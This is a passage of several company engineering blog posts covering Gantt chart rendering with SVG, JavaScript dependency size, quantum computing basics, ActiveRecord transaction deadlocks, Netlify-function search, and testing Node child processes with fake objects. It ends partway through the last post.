If you look closely at our Gantt chart, you’ll see vertical lines separating the weeks, darker areas to show the weekends, and a red line to show where today is.

We used to populate the DOM with hundreds of DIVs with various borders to achieve the result we wanted. As an experiment, we tried constructing an SVG image dynamically and it turned out great: it was easy to implement, the code is clean, and the output is small compared to our previous DIV solution.

// All the shapes that make the final SVG image
const shapes = [];

// week dividers
for(let week = firstWeek, x = 0; week <= lastWeek; week++, x += pixelsPerWeek) {
  shapes.push(
    `<line id="week-${week}" x1="${x}" x2="${x}" y1="0" y2="100" stroke="rgb(204,204,204)" stroke-width="0.5" />`
  );
}

// today
shapes.push(
  `<rect id="today" x="${pixelsToToday}" y="0" width="2" height="100" fill="rgba(255,0,0,0.3)" />`
);

// ...and finally build the CSS style
return {
  background: `url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="${timelineWidth}" height="100">${shapes.join(‘’)}</svg>') repeat-y`,
};

Migrating from the original Gantt chart to the new one

Our new Gantt chart behaves differently in a number of important ways and has a different data structure than the original one, so how do we get new users to use it? We didn’t want to tell them to re-enter the same data in the new one because most of them wouldn’t have done it. We also didn’t want to keep the original one and maintain both at the same time. The only solution was to find a way to “migrate” from the original one to the new one.

To accomplish this, we created a migration service that is run automatically when someone tries to access their original Gantt chart, converts it into the new one, and then redirects to it. We looked at every single configuration attribute in both implementations, found how they mapped between each other, and implemented the logic. We also made sure to preserve the original configuration in case we did something wrong. (Nothing major happened.) The migration service was inspired by the Rails database migration. Here’s what it looks like:

class LegacyGanttChartMigration
  def upgrade
    preserve_legacy_configuration
    convert_date_attributes
    convert_expanded_records
    # … a few more convert calls
    hide_features_without_dates
  end

  def downgrade
    # revert the configuration preserved above
  end
end

# and to migrate, all we had to do was call this
gantt_chart = LegacyGanttChartMigration.new(gantt_chart).upgrade

The migration was easy to test, easy to read, and worked like a charm.

Why we don’t use React Virtualized

When you read the description of React Virtualized, it looks like a perfect match for our Gantt chart. They even have a demo for a MultiGrid that behaves very closely to what we were looking for: locked (or frozen) rows at the top, locked columns on the left, and a main grid that can scroll in both directions and stay aligned with the locked rows and columns. That’s why we initially implemented our new Gantt chart with it. Unfortunately, we had a lot of difficulties trying to keep all the parts working nicely together. We had issues with scroll bars in the panels that messed up the alignment, and no matter what we tried, we couldn’t figure out how to work around those issues. We even tried only using ScrollSync but there was always a tiny delay that made moving around the Gantt chart feel bad.

So in the end, we completely dropped the library and implemented what we needed ourselves. The Gantt chart is split into three main panels. When the user scrolls, all we have to do is synchronize the scroll position to the relevant panels. For performance-intensive features such as drag-and-drop, we implemented our own windowing to only render what’s visible on the screen to avoid costly computation for objects that aren’t visible anyway.

This isn’t the end

We’re continuously adding features and fixing bugs on our Gantt chart. As we’ve discovered new patterns and ways to do things, we’ve built a decent backlog of things we’d like to improve. Our customers also provide us with invaluable feedback that we always take into account when deciding what to do next. If there’s something missing from our Gantt chart, let us know. If you’d like to help us build it, we’re always looking for new talent.

A treatise on JavaScript dependencies

Zach Schneider — Thu, 09 Jul 2020 00:00:00 GMT

JavaScript dependency trees are a bit of a punching bag in the programming world. Even in a small project, the node_modules directory can easily reach hundreds of megabytes in size, much to the chagrin of engineers who remember the days when an entire hard drive might not even hold 100MB. A brand new create-react-app project comes with 237MB of node_modules at the time of this writing. There are even memes about this phenomenon:

As you might expect, the topic also comes up regularly in discussion forums. A recent Hacker News thread wondered why a new Rails app (with a webpack toolchain) brings along 106MB in JavaScript dependencies. So what gives? Do JavaScript programmers just love installing libraries? To answer this question, we need to start with a bit of recent history.

The JavaScript standard library

If you were programming for the web in 2016, you probably recall the infamous left-pad fiasco. TL;DR: an engineer who was unhappy with npm decided to unpublish all of his packages in protest. One of these packages, left-pad, was an 11-line helper to pad a string with spaces up to a certain length. This package was very commonly used (whether as a direct dependency or an indirect dependency-of-a-dependency) and thus broke a lot of popular packages and application builds, causing much weeping and gnashing of teeth. npm implemented some limitations on unpublishing packages to prevent the situation from recurring in the future, but the issue shined a spotlight on a broader problem in the JavaScript world — why did hundreds of packages depend on a tiny dependency to pad a string?

The problem really starts with JavaScript's standard library — especially its standard library of 5-10 years ago. When encountered with a solved-but-sort-of-tricky problem like string padding, programmers will naturally take the path of least resistance, which usually involves Googling a solution. They're focused on solving bespoke business-logic problems and rarely want to go down the rabbit trail of writing a custom string manipulation library. A ruby programmer would quickly discover the built-in rjust method on strings, a python programmer would discover the identically-named python equivalent, and a PHP programmer would find the helpful str_pad function. But a JavaScript programmer in 2016 would have found... the left-pad library. JavaScript didn't have a built-in way to pad a string. Nor did it offer numerous other convenience functions that we often take for granted in other languages. The existence of underscore and lodash is evidence in itself — packages containing dozens of convenience functions that come for free in the standard library of most high-level languages.

Now, this piece of the problem has improved substantially since 2016. If you search how to left-pad a string in JavaScript today, you're quickly pointed to the built-in padStart function, available in Node.js >8 and all modern browsers (but not Internet Explorer). The TC39 committee has done an excellent job of adding language features that fill the gaps previously plugged by one-off helper packages. However, inertia is still a confounding factor, as somebody has to do the work of removing helper packages and refactoring to built-in language features. And adopting these new language features requires dropping support for older versions of Node.js (which may be technically unsupported but are still broadly used in practice).

Building atop the rubble

The support matrix is even choppier for web applications. The aforementioned padStart function doesn't exist in Internet Explorer 11, and neither do most of the other convenience features added in ES6/ES7. Safari 13 lacks support for BigInt and requestIdleCallback. Edge has caught up a lot since its switch to the Blink rendering engine, but pre-Blink Edge didn't support setting scroll positions on elements or array flat/flatMap. Most modern features work in most modern browsers, but you'll still spend a lot of mental cycles making sure nothing slips through the gaps, especially if you need to support IE11.

Fortunately, there's a pretty robust toolchain for using the latest language features in web applications while maintaining support for older browsers. It goes something like this:

webpack combines your source code into shippable bundles, runs each file through loaders to perform any necessary transpilation, and also handles extras like minification.
Babel transpiles JavaScript to remove syntax that's unsupported in older browsers (for example, arrow functions are turned into regular functions to avoid breaking IE11). Babel can also handle polyfilling language features that you depend on, using...
core-js provides implementations of recent language features — array/string convenience methods, completely new built-in objects like Proxy, and more. Babel can automatically detect which language features are used in your code and hook up the appropriate core-js implementation.
Browserslist is a standardized configuration format to specify which browsers you want to support. It can accept literal versions like Internet Explorer 11 or queries like >1% (browser versions with more than 1% global usage), last 3 Chrome versions, etc.
caniuse-lite is a database showing which features are supported by which browsers; it's used by Babel and other tools to determine what needs to be polyfilled to support the browsers you've requested.

With this toolchain in place, you can happily write JavaScript using the latest language features and not worry about browser support, which is great for productivity and provides a good end-user experience as well. But it comes at a cost — the packages listed above and more end up in your node_modules, and they aren't small. Webpack itself is 2.7MB, core-js is something like 7MB, Babel and its accessory packages come in at around 10MB, and caniuse-lite is 3.2MB worth of data — it adds up. And there's nothing really egregious here in a vacuum; it's unsurprising, for example, that the implementations of hundreds of modern JavaScript language features collectively weigh 7MB. But it's certainly a major contributing factor to the overall size of the average node_modules. We've traded an eye-opening amount of disk space for a great developer workflow and a consistent experience for end users.

Packages on packages

Did you know that either npm or yarn will happily install multiple versions of the same package? Imagine you've got package A and package B in your dependencies list. Both A and B depend on package C but with incompatible version requirements. In ruby, this produces an installation error and you're left to work out a consistent dependency tree on your own. npm and yarn, on the other hand, will happily install multiple versions of package C. They accomplish this by giving packages A and B each their own nested node_modules folder containing their desired version of C. JavaScript dependencies are resolved by ascending the filesystem to find the closest node_modules, so packages without conflicts can be deduped to the top level while conflicted packages are kept in nested directories.

There are certainly some benefits to this approach. I have spent many long hours working through version conflicts in ruby, where seemingly unrelated gems demand inconsistent versions of a shared dependency. But this approach inevitably results in a lot of duplicate packages, and there's also not much you can do about it. To some extent, this behavior is a necessary consequence of an ecosystem with a greater reliance on helper packages. It would be hellacious trying to get dozens of packages to agree on the same set of helper versions; it's bad enough in ruby where only a few packages are usually in conflict. Regardless, duplicate package versions should be kept in the back of your mind when trying to understand node_modules bloat.

So where does that leave us?

Hopefully, this article leaves you with a better sense of how we got here and where the ecosystem is headed. To a large extent, I expect the scope of the problem to recede on its own as the new and more robust standard library features gain broad support and replace obsolete helper packages. But it's a naturally slow process that's rendered even slower by inertia and by the need for tooling to support legacy browsers. As a JavaScript engineer, the best way to speed the process along is by learning and spreading awareness of the latest and greatest features in the standard library. You could even send pull requests upstream if you find that you're using a package that pulls in a lot of obsolete helpers. npm ls and npm why (or yarn list and yarn why) are great aides in learning about your dependency tree and where each package is coming from.

The last thought I'll leave you with is this: don't stress too much about it. Be honest — when was the last time that you spent even a few minutes dealing with a problem caused by 100MB of used hard drive space? I'm fairly certain that I've invested more brain cycles writing this article than I've ever spent on that particular class of problem. It feels wrong and can be hard to stomach, especially if you were programming in a time when hard drive space was at a premium. But it's just not that big of an issue in practice, and it's a problem that's easily solved if it does arise by spending a fairly negligible amount of money. As with any issue, you're best served focusing your mental energy where it creates the most leverage, which is usually solving hard business problems to provide value to your end users.

Quantum computing in the real world

Toray Altas — Mon, 29 Jun 2020 00:00:00 GMT

Why does it matter?

As we have recently entered a new decade, I have been thinking about the next leaps in computer science and where some of those areas may be. One such area that I have read a lot about in passing but never really explored is quantum computing. I believe quantum computing may become very important in the future, as it will provide us with an opportunity to do parallel computing in ways that have never been possible before with classical computers. Such areas include:

Cryptography - Encryption and SSL may fundamentally change and allow for true "randomisation" when it comes to key generation. This will perhaps have the most impact on software organisations like Aha!
Molecular analysis - with the current pandemic, we have seen a rapid rise in popularity of such projects as the "Folding at home" where analysis of the coronavirus protein movements are done using a volunteer distributed computing model. This could be done in a much more efficient way using quantum computing not only for the current virus, but many molecular components and interactions such as new pharmaceutical drugs in humans.
Optimisation - imagine running a large airline where you have multiple variables in determining the most efficient way to use your resources (planes, routes, pilots, etc). Currently this is difficult and complicated to calculate using conventional computers, these kinds of optimisation problems are what some quantum computers thrive at.

Annealing vs gate

There are currently two types of quantum computers in production: annealing quantum computers and gate based quantum computers. Annealing computers are generally used for specific types of optimisation problems, while gate based computers aim to be a more universal computer that can solve a multitude of problem types. This article aims to cover gate-based quantum computers given their universality.

Superposition and entanglement

In order to understand how a gate-based quantum computer works, we need to understand two principles of quantum physics: superposition and entanglement.

Superposition — In classical computers we always know that a bit is either a 0 or 1. Anything else is simply an error state. However in quantum computers, using the principle of superposition, a quantum bit (qubit), can both be a 0 and 1 at the same time. When we "observe" a qubit as a classical bit, it collapses back to a 0 or a 1 based on a probabilistic model.

Entanglement — This is a more complicated principle in quantum computing and can be the most difficult to conceptualise. When we have two qubits that are in superposition (i.e. the qubits represent the states 00, 01, 10, and 11 at the same time), and we collide the two qubits together, upon collapsing one of the qubits to its classical state, we know what the outcome of the other non collapsed qubit will be when we collapse it. So the two qubits are correlated, upon entangling them together. An example further down in this article will help explain this further.

Quantum computing gates

Quantum 101

Going back to your 101 computer science class, in a classical computer, we represent a classical "bit" as a scalar number, a 0 or a 1. In a quantum computer, we represent a "qubit" (quantum bit) as a vector:

In this image, we see a 0 qubit, as the top number in the vector represents the probability of a 0 after classical bit measurement. So there is a 1 representing a 100% chance of observing a "0" bit upon measuring with a classical bit. Conversely, the bottom number in the vector represents the chance of seeing a 1 bit upon observing the qubit. It has a 0 probability.

This is the same with a 1 qubit, but in reverse, where we see that the bottom number in the vector represents the probability of a 1 after classical bit measurement, with a 100% chance of observing a 1 and 0% chance of observing a 0.

Very simple, right? Just like in classical computing, these qubits become interesting when you start applying gate logic to them. In classical computers we use scalar boolean algebra to determine the output based on the input. In quantum computing we need to use matrix algebra to determine the output based on the input. The advantage of using matrix algebra over scalar algebra, is that we are able to parallelise out computations over multiple inputs/outputs rather than just a single input/output.

Let's look at a "not gate":

In this diagram, we can see the dot product of a not gate matrix with a 0 qubit vector produces a 1 qubit vector upon evaluation (the reverse being true for a not on a 1 qubit vector).

This is a simple example of how gates work in quantum computing. However things begin to get more interesting when we do not have a 100% probabilistic outcome of a 0 or 1.

This is a Hadamard gate — upon applying this to a 0 qubit, we get this strange result in the vector with non-integer numbers. What does this mean?

As earlier explained, the top number in a qubit vector represents the probability of a 0, and second the probability of a 1. What I didn't say for simplicity's sake, was that you need to square the probabilistic value in order to determine its probability. So in the results of the Hadamard gate being applied to a 0 qubit, there is a 50% chance of 0 and a 50% chance of a 1. This is called superposition, as the qubit is both a 0 and 1 until observed in the classical world!

Representation of bits

As seen, we can represent a single quantum as a vector, but how do we represent multiple bits?

We can display them mathematically as vectors being tensor multiplied. We can see here a 110 being represented as a single vector after being tensor multiplied together. You can observe that the probabilistic model still holds for a single vector that is longer than just 2. The top number represents the probability of a 000, second number a 001, third number 010, etc until we get to the second last number which represents a 110 with 100% chance (from the 1).

This is important if we want to understand an entanglement circuit:

The initial state for our two qubit is 0 each (represented by the tensor product). We then apply a Hadamard gate to put one of the gates into superposition, followed by actually calculating the tensor product so we get a vector with length 4. We then apply a special gate called a "controlled not gate", represented by the 4x4 matrix. Which lands at a slightly modified vector with length 4.

Now if we try to factor that vector of length 4 to be 2 vectors of length 2 each, i.e. represent the results as 2 qubits, we find we actually mathematically can't. It’s kind of like trying to refactor the prime number 13 into its factors. If we look at the probabilities of this single vector of length 4, we observe that we have a 50% chance of observing a 00 and a 50% chance of observing a 11 if we collapse the qubits state back to the classical world. So we can confidently say, if we observe one qubit in the classical world, and it turns out to be 0, then it follows that we immediately know that the other qubit will also collapse to 0. Conversely, if we observe one qubit in the classical world, and it turns out to be 1, then it follows that we immediately know that the other qubit will also collapse to 1.

Congratulations, you have now mathematically shown the entanglement principle of quantum mechanics that we mentioned earlier!

The real world

We can actually run this circuit on a real quantum computer using IBM's cloud quantum computing platform:

However, what we observe is that it isn't quite 100% of the time 00 or 11. There is some noise! This is because in the real world, quantum computers are delicate machines highly sensitive to outside interference. This is why if we run this circuit 1000 times, we see that sometimes it can stray from what the theoretical results can be, just like silicon in a classical computer can have errors due to physical imperfections. At the time of this writing, there are some limitations in quantum computers that are available. Most quantum computers today do not have many bits available to use due to the high error rate with each additional bit made available, so it makes it impractical for some of the uses we talked about earlier.

That said, one of the most talked-about algorithms where quantum computing will end up being used— is Shor's algorithm:

A quantum computer using Shor's algorithm can break down a RSA-2048 bit encryption key in 10 seconds, where a classical computer would take 30+ million years to do it. This would fundamentally change the way we use the internet and how to encrypt our sensitive data. Luckily, there are countermeasures to this with quantum encryption methods. It is also somewhat moot, as we need a 4000 bit quantum computer that has a low error rate, and at the moment, the quantum computer with the most bits has about 100. Many people are trying to project when we will get a 4000 bit quantum computer, but it's hard to be a Nostradamus when the industry is in its infancy.

Given all this, I think it's prudent for us to keep an eye on developments in this field and to understand the advantages and disadvantages of quantum computing as a whole.

References

FAST QUANTUM MODULAR EXPONENTIATION ARCHITECTURE FOR SHOR’S FACTORING ALGORITHM - ARCHIMEDES PAVLIDIS, DIMITRIS GIZOPOULOS, 2013 https://arxiv.org/pdf/1207.0511.pdf
Quantum Annealing for Prime Factorization - Shuxian Jiang, Keith A. Britt, Alexander J. McCaskey, Travis S. Humble & Sabre Kais, 2018 https://www.nature.com/articles/s41598-018-36058-z
How to factor 2048 bit RSA integers in 8 hours using 20 million noisy qubits, Craig Gidney and Martin Ekerå, 2019 https://arxiv.org/pdf/1905.09749.pdf
Breaking RSA Encryption – an Update on the State-of-the-Art, Andreas Baumhof, 2019 https://www.quintessencelabs.com/blog/breaking-rsa-encryption-update-state-art/
Quantum Computing for Computer Scientists, Andrew Helwer, 2018, https://www.microsoft.com/en-us/research/video/quantum-computing-computer-scientists/
IBM quantum computing, 2020, https://quantum-computing.ibm.com/
Introduction To The Physics Of D-Wave and Comparison To Gate Model, Joel M. Gottlieb, 2018, https://arcb.csc.ncsu.edu/~mueller/qc/qc18/readings/gottlieb2.pdf

Transaction deadlocks on ActiveRecord associations

Andrew Vit — Wed, 24 Jun 2020 00:00:00 GMT

Everyone is thrilled with the new feature you’ve just deployed! But as it starts to gain popularity, you wonder if there might be a bug despite all the testing and code review that you and your team have done. The more it gets used, the more you start to notice some frustrating, hard-to-reproduce errors: database deadlocks.

This class of errors is often discovered only after heavy usage in production — seemingly rare and unlikely to start with — but can become crippling under a critical mass of simultaneous web users and parallel background jobs.

I’d like to share a technique for identifying the root cause of a deadlock, how Ruby on Rails can sometimes be a confounding factor, and a solution I’ve contributed that has all but eliminated deadlocks at Aha!

Understanding deadlocks

To understand how deadlocks happen and where to start looking, let’s review the minimum ingredients needed to cause the most basic scenario:

Two sessions each open a new transaction with BEGIN
Two records are updated within transaction A
The same two records are updated within transaction B
One transaction is aborted with a ROLLBACK
One transaction completes with a COMMIT

We’ll examine specifically how a deadlock happens in more detail next, but it helps to keep these points in mind like actors in a play — since it’s easy to forget that there’s always a second transaction, and at least one other record involved.

When troubleshooting a real-world deadlock, the error message we get only shows half the problem, and we actually need to find out what led up to it. But it does give some clues:

ERROR: deadlock detected
DETAIL: Process 65998 waits for ShareLock on transaction 1370564288; blocked by process 82788.
        Process 82788 waits for ShareLock on transaction 1370564343; blocked by process 65998.
HINT: See server log for query details.
CONTEXT: while updating tuple (737645,60) in relation "features" :
         UPDATE "features" SET "updated_at" = '2019-12-17 16:19:59.476689' WHERE "features"."id" = $1

It tells us there are two processes here — each one waiting on the other to release a lock. This also shows us the query that caused the rollback to happen so we can find it in our logs. But we still need to gather 3 critical pieces of information:

What was the other transaction that successfully updated this record at the same time?
What other records were updated in this transaction before the rollback?
What record updates are in common with the other transaction?

Identifying the cause

If you’re able to get full query logs from the database, this will be much easier. You will need to capture any updates to the same record around the time of the error. Here are some tips:

Search for log entries that UPDATE the table name and primary key from the error message. (Make sure to consider UPDATE statements, as well as any explicit locks. These show up as SELECT ... FOR UPDATE.)
Identify the process running the UPDATE statement that appears right before the ROLLBACK.
Identify the other processes running an UPDATE on the same record right around that time.

By copying the log statements for each process side-by-side in a spreadsheet, we can sort them by timestamp to reveal the actual sequence of events. Seeing it like this really helps to reveal what’s happening:

The arrow points from the aborted update that caused the error message, back to the same record being updated in a concurrent transaction. Here, process 1 needs to wait for process 2 to commit and release the lock. Normally, it would do that.

But if we peek between these two timestamps, there was another record also being updated by both transactions, also waiting for a lock to be released:

This "X" where the arrows cross is what a classic deadlock looks like: process 1 was already waiting on process 2 to commit! The situation will never resolve itself by waiting any longer, and as the two transactions are waiting on each other, the database has no choice but to abort one of them.

The lesson here is to avoid updating records in opposite order. Making sure to consistently apply updates in the same order throughout your code means there would be no deadlock: a well-behaved transaction would wait on the first lock it encounters, and because it hasn’t touched anything else out of order in the meantime, it doesn’t block the other transaction from finishing.

Back in ActiveRecord

Equipped with this information, we can now go back to our Rails application and simply examine the two transaction blocks and arrange them to perform updates in the same order — and we’re done!

But not so fast... what if there is nothing to rearrange, and after eliminating every possible conflict, all we find is something like this:

transaction do
  feature.save!
end

There’s actually much more being done for us automatically within transaction blocks that's not shown here. From the database’s point of view, that simple block looks more like this:

transaction do
  # BEGIN;

  feature.save!
  # UPDATE features SET name = 'test' WHERE id = 1;

  _run_before_commit_callbacks
  # UPDATE epics SET updated_at = '2020-01-01' WHERE id = 2;
  # UPDATE releases SET updated_at = '2020-01-01' WHERE id = 3;

  # COMMIT;
end

This is all because we rely on ActiveRecord’s touch: true association options to automatically update parent records whenever something changes. These can be chained together, too:

class Requirement < ApplicationModel
  belongs_to :feature, touch: true
end

class Feature < ApplicationModel
  belongs_to :epic, touch: true
  belongs_to :release, touch: true
end

class Epic < ApplicationModel
  belongs_to :release, touch: true
end

class Release < ApplicationModel
end

The touch option is a key feature of Rails’ caching mechanism, and most of the time it works very well — but it’s still possible that each model could send these updates in a different order and cause deadlocks. It could also be caused by the different order of foreign keys in the selected data itself — and that would be impossible to predict!

So after eliminating what deadlocks we could trace back to our own code using the visual technique shown above, we decided to patch ActiveRecord ourselves.

What ActiveRecord’s TouchLater does

ActiveRecord’s TouchLater module is designed to defer timestamp updates to the end of the transaction using a before_commit callback. These are performed all at once, instead of being updated with each record as it gets saved.

Prior to TouchLater, this is what after_save callbacks looked like when saving two records in a transaction:

BEGIN;
UPDATE requirements SET name="Requirement 1" WHERE id = 5;
UPDATE features SET updated_at = '2020-01-01' WHERE id = 4;
UPDATE releases SET updated_at = '2020-01-01' WHERE id = 1;

UPDATE requirements SET name="Requirement 2" WHERE id = 3;
UPDATE features SET updated_at = '2020-01-01' WHERE id = 2;
UPDATE releases SET updated_at = '2020-01-01' WHERE id = 1;
COMMIT

Between these duplicate updates touching the same release twice, there was ample opportunity for deadlocks to happen wherever it looped for each record, and I suspect TouchLater was originally added precisely because this was causing deadlocks. TouchLater collapsed any duplicate updates and deferred them to the end of the transaction instead:

UPDATE requirements SET name="Requirement 1" WHERE id = 5
UPDATE requirements SET name="Requirement 2" WHERE id = 3

UPDATE features SET updated_at = '2020-01-01' WHERE id = 4
UPDATE releases SET updated_at = '2020-01-01' WHERE id = 1
UPDATE features SET updated_at = '2020-01-01' WHERE id = 2

The ordering here is much less prone to deadlocks. This is how ActiveRecord works as of today, but it’s still not ideal.

Improving TouchLater

The first problem is that the updates are not grouped by table, and different tables are interleaved within the list. So we first need to sort the transaction callback records by table name.

The second problem is that records within a single table could also appear in any order. So we also need to sort by id.

Our initial solution did just that, and resolved over 95% of deadlocks in our use case. Recently, we revisited this and found that we could improve it further after we realized that our simple solution had undone the one thing that ActiveRecord was already doing well: depth traversal. As it gathers the belongs_to associations, ActiveRecord would follow up the chain and always add parent and grandparent associations to the callback array in their natural order.

To understand why the depth of model associations is relevant to deadlocks, it helps to consider ActiveRecord transactions as two separate phases, with your work phase performed before the TouchLater callbacks that happen separately, later.

Here’s what ActiveRecord would do when we add one level of nested model, which moves the feature out of the work and into the callbacks:

feature.update!(attrs)

work = [feature]
callbacks = [
  epic,       # (sort 1)
  release     # (sort 2)
]

requirement.update!(attrs)

work = [requirement]
callbacks = [
  feature,    # (sort 2)
  epic,       # (sort 1)
  release     # (sort 3)
]

When sorting the callbacks simply by table name, the example on the left would update features before epics naturally, but then epics before features with callback sorting on the right!

Hence, our new solution incorporates sorting by association depth as well. We do this by looking up the longest belongs_to chain that a model can appear in and update the deepest models first. This has solved all the remaining unexplained deadlocks we were seeing.

I was very happy to see the improvement after this new patch was deployed to production. Finding solutions to problems like this and sharing them so the greater developer community can benefit is what excites me about working at Aha!

If you’ve read this far, I can only imagine that you’re like-minded and passionate about improving the tools we work with. We are hiring and would love to discuss what kinds of challenging problems you like to work on!

Search on a static site with Netlify functions

Zach Schneider — Tue, 02 Jun 2020 00:00:00 GMT

Recently, our team at Aha! has been working on migrating our public marketing website from a traditional Rails app to a Gatsby application hosted on Netlify. Gatsby (and static sites in general) offer a large number of benefits: they are highly secure, easy to scale, and blazing fast. But these benefits come with tradeoffs; it's more difficult to perform some tasks that come very easily with a server.

One of the more common tasks complicated by a static site architecture is search. Search is a solved problem for traditional webserver applications. You can implement search with a basic SQL LIKE query, a more advanced Postgres text search, or even a dedicated search index like Elasticsearch. With a static site, there is no database or standalone index to query. For simple workloads, you can implement a local in-browser search index such as gatsby-plugin-elasticlunr-search. But this solution scales very poorly once you reach a few MB in search data because you have to keep a giant search index in browser memory, which hogs RAM and can drastically slow down your build. You can also outsource search to a third-party service like Algolia, but at a literal cost in dollars and a metaphorical cost in architectural complexity. Reliance on a third party also undercuts one of the primary benefits of a static site architecture — you are once again dependent on a server's uptime rather than simply serving static HTML from CDNs around the globe.

Netlify, a popular service for hosting static sites, is well aware that some problems simply lend themselves better to a server. Their answer to this is Netlify functions — serverless functions that you can write in JavaScript and are then automatically hosted as API endpoints when you deploy to Netlify. Netlify functions offer a happy middle ground for many traditionally server-dependent tasks. They are integrated into the same hosting platform so you don't introduce more dependencies, they are stateless and simple to reason about, and they don't rely on the uptime of any particular server. Under the hood, Netlify functions are simply a wrapper around AWS Lambda functions. These characteristics led us to wonder — could we leverage Netlify functions to implement a search index?

The answer, as it turns out, is yes! Netlify functions can be dynamically generated during the build process, which means we can hydrate a function with a search index at build time and then make AJAX requests to perform searches. We've open-sourced an npm package, @aha-app/netlify-flexsearch, to simplify the process of creating a dynamic search index using Netlify functions. Our package implements the search index with FlexSearch, a fast and flexible JavaScript full text search engine.

Our package has two logical components — one piece helps to generate a Netlify function with the search index at build time, and the other piece helps to simplify the process of querying the generated index from the client.

The build helper, createSearchIndex, accepts a name for the index and a dataset; it interpolates the dataset into a template function and writes the output to the configured Netlify functions folder. You can even create multiple distinctly-named indexes if you have several distinct datasets. When deployed on Netlify, the resulting function (named with the pattern search${indexName}) will accept HTTP GET requests with a search term parameter and return the matching data.

The client helper is actually two helpers — a React hook and a generic asynchronous function. If you're using Gatsby or another React-based static site generator, you can use the useSearch hook to easily hook up your component to query the generated search index. If you're not using React, you can use the search function to query the search index directly and integrate with your framework however it best fits.

We've seen great results thus far from this search architecture. Our search indexes are not especially small (the largest is just shy of 5MB) but the search functions are still quite performant, returning results in about 200ms. At the same time, our build got significantly faster and its RAM usage dropped drastically because we were able to eliminate the in-browser search index that we were previously building.

While it's been great for us, this solution may not be ideal for every workload. Netlify functions are limited to 1024MB of RAM out of the box, so if your search index is at or near that limit, you may have to purchase an enterprise plan to increase the available RAM or consider an alternate solution. We also have not tested performance with extremely large datasets; it may be the case that a search index with hundreds of MB of data will become unacceptably slow even if it fits under the Netlify RAM limit. But for medium-sized workloads such as ours, offloading our search index to a Netlify function struck a Goldilocks balance of performance, stability, and convenience. We think that other Netlify users could also benefit from this approach to search, and thus open-sourced our package in the hope that others will find it useful.

How do you test multiprocess code in Node?

Justin Weiss — Tue, 30 Jul 2019 00:00:00 GMT

A little while ago, I wrote about using Node's child_process library. child_process creates other processes to do work instead of tying up a single process. When you do work in child processes, you get some big benefits: You can avoid hangs when a computation takes too long, and you won't lose important Node process when a single task crashes.

The parent process needs to communicate with the child to give it work to do. The parent does this by sending arbitrary data with stringly-typed keys, and the child processes need to know how to read that data.

This is just asking for trouble.

If you mistype a key or you expect to receive data in a different format than it's sent, things go bad very quickly. So you have a challenge: How do you make sure this code is correct and continues to work?

Testing is the answer, but how do you test across process boundaries? That sounds really hard. But with a few dozen lines of code and a mock or two, it can be done. And it can be done in a way that makes your tests look great at the end.

First, find or create seams

If you have code that's inherently hard to test, you have a few options. For quick, simple tests, you can mock out the parts that are hard to test. But if you mock too much, your tests can lie to you. When you mock both sides and the thing you're mocking changes, your mocks still pass, even though your code fails. That's a bad, bad place to be.

For an end-to-end test to be accurate, you need to leave most of the system alone. When there are parts you can't test, you need to find places where you can work around just those parts.

I think of these places where easy-to-test meets hard-to-test as "seams" — a term I learned from one of my favorite books on testing, Working Effectively with Legacy Code.

Some seams you can find easily. Here's an updated parent process from the last article, turned into a full Calculator class to make things a little cleaner:

// Calculator.js
const { fork } = require("child_process");

class Calculator {
  constructor() {
    this.child = fork("./child.js");
    this.child.on("message", this._handleMessage.bind(this));
    this.lastResult = null;
  }

  square(value) {
    this.child.send({ command: "square", args: [value] });
  }

  _handleMessage(message) {
    switch (message.type) {
      case "result":
        this.lastResult = message.result;
        break;
      default:
        console.error(`Calculator received an unknown message: ${message.type}`);
        break;
    }
  }
}

module.exports = Calculator;

child_process.fork() is a great seam. Mock out fork to return an object you control, and you now have full control over how your "child process" acts. Your code won't realize it's not talking to a real process. You've replaced the hard-to-test fork to make it return something easy to test.

Some seams are trickier to work with. In the previous article, the child was a JavaScript file run by fork. That code also calls the built-in Node process API to communicate with the parent. Both would be a hassle to stub out.

In those situations, I'll create a new seam. I'll extract all the interesting stuff into a method that takes the hard stuff as arguments:

Old code:

// child.js
process.on("message", ({ command, args }) => {
  switch (command) {
  case "square":
    process.send(args[0] ** 2);
    break;
  default:
    console.error(`Child received an unknown message: ${command}`);
    break;
  }
});

New code:

// child.js
const handleMessages = require('./handleMessages');
handleMessages(process);

// handleMessages.js
function handleMessages(parentProcess) {
  parentProcess.on("message", ({ command, args }) => {
    switch (command) {
      case "square":
        parentProcess.send({ type: "result", result: args[0] ** 2 });
        break;
      default:
        console.error(`Child received an unknown message: ${command}`);
        break;
    }
  });
}

module.exports = handleMessages;

Now the child has a very clear seam. The process is now an argument that can be any kind of object, as long as it implements send and emits events. You still can't easily test child.js, but it does so little that you can skip it without much risk.

Next, fake out the complicated code

Once you have your seams — in this case child_process.fork() and parentProcess — you're ready to start testing. But how do you connect your parent and child code together?

Fake objects are my favorite way to test complicated code. A fake object has the same API as the thing it's faking, but it has slightly different and usually much simpler behavior. For example, in your tests, child_process.fork() could return a fake object that has child_process's send method, so your parent process's code still thinks it's talking to the real thing:

// FakeChildProcess.js
class FakeChildProcess {
  constructor() {
    this.receivedMessages = [];
  }

  send(message, handle) {
    this.receivedMessages.push({ message, handle });
  }
}
module.exports = FakeChildProcess;

// Calculator.test.js
const Calculator = require("./Calculator");
const FakeChildProcess = require("./FakeChildProcess");
const { fork } = require("child_process");
jest.mock("child_process");

describe("Calculator", () => {
  let childProcess;

  beforeEach(() => {
    jest.resetAllMocks();

    fork.mockImplementation(file => {
      childProcess = new FakeChildProcess();
      return childProcess;
    });
  });
});

Then, your fake could provide some insight into your test code, like keeping track of the messages sent to it:

it("sends a square message", () => {
  const calculator = new Calculator();
  calculator.square(5);

  expect(childProcess.receivedMessages).toContainEqual({
    message: {
      command: "square",
      args: [5]
    },
    handle: undefined
  });
});

If you have a fake on both sides — a fake pretending to be a child process and a fake pretending to be the parent process — you can even connect them together. Through those fakes, the parent code can send messages to the child code. Then, the child process can do the work and send a response back to the parent, all within a single test.

But to do all that, you can't just write methods. You have to go a little bit further.

EventEmitter: A faker's best friend

Processes send messages through methods, but they receive messages through events. So you also need to fake those out.

In JavaScript, objects that send events are pretty common. And that means there's an easy way to build that functionality into your own objects and fakes — EventEmitter.

After a JavaScript class extends EventEmitter, it can send events and allow subscribers to those events. It gains methods like on, removeListener, and emit. When your fake object can emit the same events as the real thing, anyone using it won't know the difference. And because you control the fake object, you can control when those events are sent.

Here's what your FakeChildProcess might look like after it implements event handling:

// FakeChildProcess.js
